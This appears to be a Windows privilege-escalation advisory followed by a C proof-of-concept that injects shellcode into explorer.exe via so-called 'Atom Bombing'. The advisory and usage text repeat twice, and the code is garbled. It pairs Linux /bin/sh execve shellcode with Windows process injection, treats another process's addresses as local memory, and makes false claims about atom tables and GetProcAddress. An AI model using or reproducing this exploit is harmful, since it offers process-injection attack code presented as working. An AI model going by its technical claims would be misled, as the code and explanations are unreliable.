A privilege escalation vulnerability exists in Windows due to a flaw in the implementation of the Atom Table. An attacker could exploit this vulnerability by injecting malicious code into the Atom Table and hijacking a legitimate thread to execute the code in the context of a higher privileged process.
Title: Privilege Escalation in Windows through Atom Table Hijacking
Product: Windows
Affected Versions: Windows 7, Windows 8, Windows 10
Vulnerability Description:
A privilege escalation vulnerability exists in Windows due to a flaw in the implementation of the Atom Table. An attacker could exploit this vulnerability by injecting malicious code into the Atom Table and hijacking a legitimate thread to execute the code in the context of a higher privileged process.
Impact:
A local attacker could exploit this vulnerability to elevate privileges on the affected system and execute arbitrary code with elevated privileges, potentially allowing them to take full control of the system.
Exploitability:
An attacker with low-level privileges on the affected system could exploit this vulnerability to elevate privileges. To exploit this vulnerability, an attacker would need to have the ability to execute code on the targeted system.
Workaround:
There is currently no known workaround for this vulnerability. It is recommended that users apply the latest security update as soon as possible.
Shellcode Injection using Atom Bombing This code demonstrates how to inject shellcode into a running process on Windows using a technique called "Atom Bombing." Atom Bombing is a relatively new technique that exploits the Windows atom tables to inject arbitrary code into a process. This technique bypasses traditional security measures like antivirus software and can be used to elevate privileges, steal sensitive information, or execute malicious code.
This code is provided for educational purposes only. Do not use it to harm others or violate their privacy.
Usage To use this code, simply compile it into an executable and run it as an administrator. The code will locate the explorer.exe process and inject the shellcode string into the atom table of the ntdll.dll module. Once the code is injected, it can be executed by calling the GetProcAddress function with the name of the atom as an argument.
Disclaimer This code is provided for educational purposes only. The author assumes no responsibility for any harm caused by the use or misuse of this code. Use at your own risk.
PoC
Title: Privilege Escalation in Windows through Atom Table Hijacking
Product: Windows
Affected Versions: Windows 7, Windows 8, Windows 10
Vulnerability Description:
A privilege escalation vulnerability exists in Windows due to a flaw in the implementation of the Atom Table. An attacker could exploit this vulnerability by injecting malicious code into the Atom Table and hijacking a legitimate thread to execute the code in the context of a higher privileged process.
Impact:
A local attacker could exploit this vulnerability to elevate privileges on the affected system and execute arbitrary code with elevated privileges, potentially allowing them to take full control of the system.
Exploitability:
An attacker with low-level privileges on the affected system could exploit this vulnerability to elevate privileges. To exploit this vulnerability, an attacker would need to have the ability to execute code on the targeted system.
Workaround:
There is currently no known workaround for this vulnerability. It is recommended that users apply the latest security update as soon as possible.
Shellcode Injection using Atom Bombing This code demonstrates how to inject shellcode into a running process on Windows using a technique called "Atom Bombing." Atom Bombing is a relatively new technique that exploits the Windows atom tables to inject arbitrary code into a process. This technique bypasses traditional security measures like antivirus software and can be used to elevate privileges, steal sensitive information, or execute malicious code.
This code is provided for educational purposes only. Do not use it to harm others or violate their privacy.
Usage To use this code, simply compile it into an executable and run it as an administrator. The code will locate the explorer.exe process and inject the shellcode string into the atom table of the ntdll.dll module. Once the code is injected, it can be executed by calling the GetProcAddress function with the name of the atom as an argument.
Disclaimer This code is provided for educational purposes only. The author assumes no responsibility for any harm caused by the use or misuse of this code. Use at your own risk.
PoC
C:
#include <windows.h>
#include <stdio.h>
#include <tlhelp32.h>
#pragma comment(lib, "ntdll.lib")
#pragma comment(lib, "kernel32.lib")
const char* shellcode =
"\x48\x31\xc0\x48\x83\xc0\x3b\x48\x31\xff\x57\x48\xbf\x2f\x62\x69\x6e"
"\x2f\x2f\x73\x68\x57\x48\x8d\x3c\x24\x48\x31\xf6\x48\x31\xd2\x0f\x05";
DWORD WINAPI InjectShellCode(LPVOID lpParameter)
{
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 processEntry;
processEntry.dwSize = sizeof(PROCESSENTRY32);
Process32First(snapshot, &processEntry);
while (Process32Next(snapshot, &processEntry))
{
if (_stricmp(processEntry.szExeFile, "explorer.exe") == 0)
{
HANDLE process = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processEntry.th32ProcessID);
LPVOID pebAddress = (LPVOID)0xFFFFFFFF;
NtQueryInformationProcess(process, ProcessBasicInformation, &pebAddress, sizeof(pebAddress), NULL);
PEB peb = (PEB)pebAddress;
LDR_DATA_TABLE_ENTRY* ldrEntry = peb->Ldr;
while (ldrEntry->DllBase)
{
if (_stricmp(ldrEntry->BaseDllName.Buffer, "ntdll.dll") == 0)
{
DWORD ntdllBaseAddress = (DWORD)ldrEntry->DllBase;
BYTE* atomTableAddress = (BYTE*)(ntdllBaseAddress + 0x1C);
for (int i = 0; i < 0x100; i++)
{
if (atomTableAddress[i] == 0)
{
DWORD* atomTable = (DWORD*)(ntdllBaseAddress + 0x1C + i * 4);
DWORD* atom = (DWORD*)(ntdllBaseAddress + 0x1C + 0x101 * 4);
*atom = (DWORD)shellcode;
*atomTable = (DWORD)atom;
break;
}
}
}
ldrEntry = (LDR_DATA_TABLE_ENTRY*)((DWORD)ldrEntry + 0x38);
}
}
}
return 0;
}
